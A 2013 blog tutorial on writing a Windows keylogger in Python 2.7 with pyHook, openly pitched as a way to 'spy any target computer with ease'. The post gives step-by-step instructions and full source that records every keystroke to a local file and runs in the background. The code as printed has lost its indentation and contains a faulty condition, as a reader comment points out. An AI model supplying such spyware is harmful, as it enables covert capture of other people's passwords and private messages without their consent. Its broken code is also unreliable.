Saturday, 16 March 2013

Create Keylogger Using Python 2.7

In this tutorial we will show you how to create an own keylogger to record key strokes in PC directly using Python programming. Using this method you can spy any target computer with ease.

SOFTWARE USED:
*Phython 2.7 (Python 2.7)

STEP 1: From the start menu select,” Python 2.7 > IDLE(Python GUI)”











STEP 2:  Click “File > New window”













STEP 3: Now type the below code in Phython window  as shown in fig.,

import win32api 
import sys
import pythoncom, pyHook
 
buffer = ''
def OnKeyboardEvent(event):
if event.Ascii == 5:
 
sys.exit()
 
if event.Ascii != 0 or 8:
 
f = open ('c:\\output.txt', 'a')
 
keylogs = chr(event.Ascii)
 
if event.Ascii == 13:
 
keylogs = keylogs + '\n'
 
f.write(keylogs)
 
f.close()
 
while True:
hm = pyHook.HookManager()
 
hm.KeyDown = OnKeyboardEvent
 
hm.HookKeyboard()
 
pythoncom.PumpMessages()
















STEP 4 :Save the file in C:\ as Keylogger.py and click  RUN( CTRL + R: the keylogger will come started in the background and will run until the log file "C: \ output.txt" anything that will typed on the keyboard. )


1 comment:

  1. that won't work, you need to indent the code properly, also you didn't make an output.txt file

    LEARN TO CODE AND THEN MAKE THESE KINDS OF POSTS

    ReplyDelete